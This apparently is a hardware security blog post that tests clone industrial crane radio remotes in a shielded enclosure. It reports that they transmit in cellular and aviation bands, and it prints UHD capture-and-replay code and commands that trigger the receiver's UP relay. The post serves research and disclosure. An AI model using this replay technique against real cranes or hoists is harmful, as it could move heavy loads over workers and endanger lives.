Hacking an Illegal Industrial Crane Remote: Unlicensed RF and a Trivial Replay Attack

If you have seen the WhistlinDiesel video where he bolts a jet engine to a merry-go-round, you have seen one of these remotes. It is the orange eight-button pendant he uses to spin the thing up from behind a concrete barrier. That style of controller is everywhere in heavy industry: overhead cranes, hoists, winches, concrete pumps, anything where the operator needs to stand clear of the load and still drive the machine.

The one he uses, and the one I bought, is a Telecrane F21 clone. Telecrane is a Taiwanese manufacturer of industrial radio remotes, and the F21-E1B is one of their common eight-button models. The genuine units are FCC-granted and run at 433.92 MHz, a frequency where low-power unlicensed operation is legal in the US under Part 15.

I bought two knock-off remote-plus-receiver sets off eBay for cheap, the kind of generic orange pendant that shows up under a dozen different seller names. I wanted to kick the tires on my new RF test enclosure and see how a safety-critical industrial remote holds up. Two things came out of it: the clones do not transmit anywhere near 433.92 MHz, and a dead-simple replay attack drives the receiver.

The test bench

The whole assessment ran inside a shielded RF enclosure so nothing I transmitted leaked into real spectrum. Inside: the receiver and one of the transmitters, a USRP B200 (sold as the USRP-2900) wired through a filter to its SMA port over USB, and a multimeter.

The multimeter is the oracle. The receiver is a box of relays. Each command the pendant sends closes a dry contact between two of the output terminals. The wiring label on the receiver spells it out: the UP command closes a relay between the YELLOW terminal and the RED common.

So I clipped the multimeter across the YELLOW and RED terminals and put it in continuity mode. When the receiver decodes a valid UP command, the relay closes, continuity goes to zero, and the meter beeps. No disassembly, no logic analyzer on the relay driver, just an audible yes/no on whether a given transmission was accepted as a real UP press. That is all I need to prove a replay works.

Finding 1: transmitting in licensed spectrum

First thing to do with an unknown RF device is find out where it talks. I put the pendant in the enclosure, pressed a button, and swept for it in SDR++. The two sets did not land where a genuine Telecrane should.

• The first set transmits at 848.95 MHz.
• The second set transmits at 850.9 MHz.

Neither is 433.92 MHz. These are not small deviations inside an ISM band. They are more than 400 MHz off, sitting squarely in licensed spectrum:

• 848.95 MHz is inside the 800 MHz Cellular Radiotelephone Service. The cellular mobile uplink runs 824 to 849 MHz, and 848.95 is right at the top of it. This spectrum is licensed to cellular carriers under 47 CFR 22.905.
• 850.9 MHz is inside the Commercial Aviation Air-Ground Radiotelephone Service at 849 to 851 MHz, licensed under 47 CFR 22.857.

A low-power unlicensed device has no business radiating in either band. One is the band your phone uses to reach the tower. The other is aircraft-to-ground voice and data. A product that ships to US buyers and transmits here is operating outside any authorization it claims to hold. The genuine F21 FCC grant (FCC ID 2BFTY-F21-E1B) is for 433.92 MHz operation. Whatever these clones are, the RF front end does not match the paperwork, and they are polluting bands reserved for cellular and aviation.

That alone is the headline: two off-the-shelf industrial remotes, bought by anyone with an eBay account, broadcasting unauthorized carriers in cellular and air-ground aviation spectrum.

Finding 2: a raw IQ replay drives the receiver

The RF location is a compliance problem. The next question is a security one: how much work is it to forge a command? For a safety-critical controller you would hope for a rolling code, where each press carries a counter or a challenge so a captured transmission cannot be reused.

I did not even demodulate the signal. I captured the raw IQ of a single UP press and played it back. That was enough.

The capture side is a small UHD program. Tune to 848.95 MHz, sample at 1 Msps, grab five seconds of complex float, write it to a file:

// RADIO SETTINGS
const double freq = 848.95e6;
const double sample_rate = 1000000;
const double gain = 5;
const std::string antenna = "TX/RX";

usrp->set_rx_rate(sample_rate);
usrp->set_rx_freq(freq);
usrp->set_rx_gain(gain);
usrp->set_rx_antenna(antenna);

uhd::stream_cmd_t stream_cmd(uhd::stream_cmd_t::STREAM_MODE_NUM_SAMPS_AND_DONE);
stream_cmd.num_samps = 5e6;
stream_cmd.stream_now = true;
rx_stream->issue_stream_cmd(stream_cmd);

The transmit side is the mirror image. Read the same file back, push it out of the USRP in one burst at the same frequency and rate:

std::vector<std::complex<float>> buff(5e6);
uhd::tx_metadata_t md;
md.start_of_burst = true;
md.end_of_burst   = true;
infile.read(reinterpret_cast<char*>(buff.data()), buff.size() * sizeof(std::complex<float>));
const size_t samples_sent = tx_stream->send(buff.data(), 5000000, md);

The workflow is two commands:

$ ./signal-rxfile cap1.signal   # hold UP on the pendant while this records
$ ./signal-txfile cap1.signal   # pendant untouched, replay the captured UP

I recorded one UP press, set the pendant down, and ran the replay. The multimeter across YELLOW and RED beeped. The receiver closed the UP relay off a recording. No rolling code, no counter, no freshness of any kind. A fixed waveform captured once drives the output forever.

In the field a crane receiver is not wired to a multimeter. The YELLOW and RED contacts are wired to a motor contactor. A replayed UP is a hoist that starts lifting.

Why this matters

These are not toys. The same class of remote drives overhead cranes, hoists, and winches on factory floors and job sites, machines that move multi-ton loads over people. The failure modes stack:

• Unauthorized spectrum use. Every one of these units is an unlicensed transmitter in cellular and aviation air-ground bands. At scale that is real interference potential in spectrum that matters, and it is illegal to operate in the US.
• No replay protection. A capture-and-replay from outside the work area reproduces any command the operator sent. An attacker records an UP once and can re-issue it at will. There is no cryptographic binding between the press and the transmission.
• Cheap and ubiquitous. This is not an exotic target. It is a sub-hundred-dollar part sold by the thousand, and the same generic internals ship under many names.

A genuine safety remote should bind every command to a session: a rolling counter, a nonce, a MAC over the payload, anything that makes a recorded transmission useless on the next press. These clones do none of that, and they do it in the wrong part of the spectrum.

Future work

I stopped at a raw replay because a raw replay was enough to prove the point. The obvious next steps:

• Demodulate and decode the protocol. Recover the actual symbol encoding and framing so I can synthesize arbitrary commands instead of replaying whole captures. The pendant has eight buttons; mapping each to its on-air payload means being able to inject any one of them on demand, including picking DOWN when the operator pressed UP.
• Characterize the addressing. These receivers pair to a specific transmitter. Finding out how much of the payload is a device address, and how guessable it is, tells you whether one captured remote attacks one receiver or a whole fleet.
• Measure real range. Everything here happened inside a shielded box. The practical attack distance with a decent antenna is the number that turns this from a lab result into a site risk.

I will cover the demod and protocol decode in a follow-up. For now the two takeaways stand on their own: these clones transmit where they legally cannot, and anyone with a forty-dollar SDR can replay their commands.

The source for the capture and replay tools, plus the WhistlinDiesel clip that started this, below.

• WhistlinDiesel, "Putting a Jet Engine on a Merry Go Round": youtube.com/watch?v=AJTgFgd01ns
• FCC 800 MHz Cellular Service: fcc.gov/wireless/bureau-divisions/mobility-division/800-mhz-cellular-service
• FCC Air-Ground Radiotelephone Service: fcc.gov/wireless/bureau-divisions/mobility-division/air-ground-radiotelephone-service